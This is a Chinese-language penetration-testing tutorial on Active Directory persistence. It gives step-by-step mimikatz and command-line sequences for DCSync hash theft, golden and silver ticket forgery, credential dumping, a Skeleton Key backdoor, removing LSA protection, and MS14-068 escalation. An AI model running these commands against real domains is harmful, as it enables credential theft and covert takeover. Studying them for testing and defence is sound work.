内网渗透-域环境权限维持
字数 2058 2025-08-15 21:30:19

域环境权限维持技术详解

一、域环境基础

1.1 常用域命令

net view /domain          # 查询域列表
net time /domain          # 从域控查询时间,判断主域
net localgroup administrators  # 本机管理员(通常含有域用户)
net user /domain          # 查询域用户(当前域)
net group /domain         # 查询域工作组
net group "domain computers" /domain  # 查看加入域的所有计算机名
net group "domain admins" /domain     # 查询域管理员用户组和域管用户
net localgroup administrators /domain # 查看域管理员
net group "domain controllers" /domain # 查看域控
net accounts /domain      # 查看域密码策略
ping 域控计算机名          # 查找域控地址
ipconfig /all             # 通常域内主机DNS地址就是域控地址

1.2 Kerberos协议基础概念

  • Kerberos: 网络认证协议,通过密钥系统为客户机/服务器应用程序提供认证服务
  • DC (Domain Controller): 域控制器,实现用户、计算机的统一管理
  • KDC (Key Distribution Center): 秘钥分发中心,默认安装在域控
  • AS (Authentication Service): 身份验证服务,用于KDC对Client认证
  • TGS (Ticket Granting Service): 票据授予服务,用于KDC向Client和Server分发Session Key
  • AD (Active Directory): 活动目录,存储用户、用户组、域相关信息

二、Kerberos认证流程

2.1 Client与AS的交互

  1. KRB_AS_REQ: Client向KDC的AS发送Authenticator1,内容为通过Client NTML Hash加密的时间戳、Client ID、网络地址、加密类型等
  2. KBR_AS_REP: AS验证成功后生成由Client Hash加密的Session Key as和使用krbtgt Hash加密的TGT(包含session key as、超时时间等)返回给client

2.2 Client与TGS的交互

  1. KBR_TGS_REQ: client使用Session Key as加密数据(timestamp、Client-info、Server-info)作为第一部分,TGT作为第二部分发送给TGS
  2. KBR_TGS-REP: TGS使用krbtgt的hash解密TGT,验证通过后发送由Session-key as加密的Session-key tgs和由Server NTLM-hash加密的ST

2.3 Client与Server的交互

  1. KRB_AP_REQ: client使用Session-key tgs加密数据作为第一部分,ST作为第二部分发送给server
  2. KRB_AP_REP: server使用自身NTLM-hash解密ST,验证通过后与client建立通信

三、黄金票据(Golden Ticket)

3.1 原理

伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。利用点在于TGS没有保存Session-Key as的值,可以随意构造。

3.2 使用条件

  1. 域名称
  2. 域的SID
  3. 域的krbtgt账户的密码hash值
  4. 伪造的用户名(通常是administrator)

3.3 利用过程

  1. 获取krbtgt账户Hash:

    mimikatz #lsadump::dcsync /domain:tide.org /user:krbtgt
    

    获取域名称、SID和krbtgt账户hash

  2. 伪造黄金票据:

    kerberos::purge
    kerberos::golden /admin:Administrator /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /krbtgt:264d69c269433dacf814799a4e6e92e5 /ticket:Administrator.kiribi
    
  3. 导入黄金票据:

    kerberos::ptt Administrator.kiribi
    klist  # 查看缓存的票证
    psexec.exe \\域控计算机全名 cmd  # 获取域控权限
    

四、白银票据(Silver Ticket)

4.1 原理

伪造ST跳过client和KDC的前两次认证过程,直接与server进行认证。利用点在于server没有保持Session key tgs,可以随意伪造。

4.2 使用条件

  1. 域名称
  2. 域的SID
  3. 域中Server服务器账户的NTLM-Hash
  4. 伪造的用户名(可以是任意的)

4.3 利用过程

  1. 获取主机NTLM hash:

    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
    
  2. 伪造白银票据(以cifs服务为例):

    kerberos::purge
    kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs /rc4:49b73d36d4b469c8ef789c13246856fb /user:username /ptt
    

五、Skeleton Key

5.1 原理

给所有域内用户添加一个相同的密码,域内所有用户都可以使用这个密码进行认证,同时原始密码也可以使用。原理是对lsass.exe进行注入,重启后失效。

5.2 利用过程

  1. 域控中安装skeleton key:

    mimikatz.exe privilege::debug "misc::skeleton"
    

    默认Skeleton Key设置为mimikatz

  2. 域内主机使用密码登录域控:

    net use * /delete /y
    net use \\server2012.tide.org\c$ mimikatz /user:tide\administrator
    net use
    

六、绕过LSA保护策略

6.1 背景

微软添加了LSA保护策略防止对lsass.exe的代码注入,影响:

  • Windows 8.1以上
  • Windows Server 2012 R2以上

6.2 绕过方法

  1. 需要文件: mimidrv.sys
  2. 执行命令:
    privilege::debug
    !+
    !processprotect /process:lsass.exe /remove
    misc::skeleton
    

七、MS14-068漏洞利用

7.1 原理

利用特权属性证书PAC将普通域用户权限提升至域管理员权限。

7.2 利用过程

  1. 获取当前用户SID:

    whoami /user
    
  2. 生成票据:

    ms14-068.exe -u tidewang@tide.org -s S-1-5-21-1082813543-4064396809-3123302706-1112 -d 10.211.55.12 -p nuoyan@123
    

    生成.ccache文件

  3. 注入内存:

    kerberos::purge
    kerberos::list
    kerberos::ptc TGT_tidewang@tide.org.ccache
    
  4. Cobalt Strike中使用:

    • 使用KrbCredExport将.ccache转化为kirbi格式
    • 在beacon中执行kerberos_ticket_use选择ticket文件

八、总结

本文详细介绍了域环境下多种权限维持技术:

  1. Kerberos协议认证流程
  2. 黄金票据伪造与利用
  3. 白银票据伪造与利用
  4. Skeleton Key技术
  5. LSA保护策略绕过
  6. MS14-068漏洞利用

这些技术各有适用场景,黄金票据适合已拿下域控后的权限维持,白银票据适合域内主机权限维持,Skeleton Key适合短期隐蔽访问,MS14-068适合权限提升。

域环境权限维持技术详解 一、域环境基础 1.1 常用域命令 1.2 Kerberos协议基础概念 Kerberos : 网络认证协议,通过密钥系统为客户机/服务器应用程序提供认证服务 DC (Domain Controller) : 域控制器,实现用户、计算机的统一管理 KDC (Key Distribution Center) : 秘钥分发中心,默认安装在域控 AS (Authentication Service) : 身份验证服务,用于KDC对Client认证 TGS (Ticket Granting Service) : 票据授予服务,用于KDC向Client和Server分发Session Key AD (Active Directory) : 活动目录,存储用户、用户组、域相关信息 二、Kerberos认证流程 2.1 Client与AS的交互 KRB_ AS_ REQ : Client向KDC的AS发送Authenticator1,内容为通过Client NTML Hash加密的时间戳、Client ID、网络地址、加密类型等 KBR_ AS_ REP : AS验证成功后生成由Client Hash加密的Session Key as和使用krbtgt Hash加密的TGT(包含session key as、超时时间等)返回给client 2.2 Client与TGS的交互 KBR_ TGS_ REQ : client使用Session Key as加密数据(timestamp、Client-info、Server-info)作为第一部分,TGT作为第二部分发送给TGS KBR_ TGS-REP : TGS使用krbtgt的hash解密TGT,验证通过后发送由Session-key as加密的Session-key tgs和由Server NTLM-hash加密的ST 2.3 Client与Server的交互 KRB_ AP_ REQ : client使用Session-key tgs加密数据作为第一部分,ST作为第二部分发送给server KRB_ AP_ REP : server使用自身NTLM-hash解密ST,验证通过后与client建立通信 三、黄金票据(Golden Ticket) 3.1 原理 伪造TGT跳过AS认证,直接进行第二次认证,从而和任意server进行通信。利用点在于TGS没有保存Session-Key as的值,可以随意构造。 3.2 使用条件 域名称 域的SID 域的krbtgt账户的密码hash值 伪造的用户名(通常是administrator) 3.3 利用过程 获取krbtgt账户Hash : 获取域名称、SID和krbtgt账户hash 伪造黄金票据 : 导入黄金票据 : 四、白银票据(Silver Ticket) 4.1 原理 伪造ST跳过client和KDC的前两次认证过程,直接与server进行认证。利用点在于server没有保持Session key tgs,可以随意伪造。 4.2 使用条件 域名称 域的SID 域中Server服务器账户的NTLM-Hash 伪造的用户名(可以是任意的) 4.3 利用过程 获取主机NTLM hash : 伪造白银票据 (以cifs服务为例): 五、Skeleton Key 5.1 原理 给所有域内用户添加一个相同的密码,域内所有用户都可以使用这个密码进行认证,同时原始密码也可以使用。原理是对lsass.exe进行注入,重启后失效。 5.2 利用过程 域控中安装skeleton key : 默认Skeleton Key设置为mimikatz 域内主机使用密码登录域控 : 六、绕过LSA保护策略 6.1 背景 微软添加了LSA保护策略防止对lsass.exe的代码注入,影响: Windows 8.1以上 Windows Server 2012 R2以上 6.2 绕过方法 需要文件 : mimidrv.sys 执行命令 : 七、MS14-068漏洞利用 7.1 原理 利用特权属性证书PAC将普通域用户权限提升至域管理员权限。 7.2 利用过程 获取当前用户SID : 生成票据 : 生成.ccache文件 注入内存 : Cobalt Strike中使用 : 使用KrbCredExport将.ccache转化为kirbi格式 在beacon中执行 kerberos_ticket_use 选择ticket文件 八、总结 本文详细介绍了域环境下多种权限维持技术: Kerberos协议认证流程 黄金票据伪造与利用 白银票据伪造与利用 Skeleton Key技术 LSA保护策略绕过 MS14-068漏洞利用 这些技术各有适用场景,黄金票据适合已拿下域控后的权限维持,白银票据适合域内主机权限维持,Skeleton Key适合短期隐蔽访问,MS14-068适合权限提升。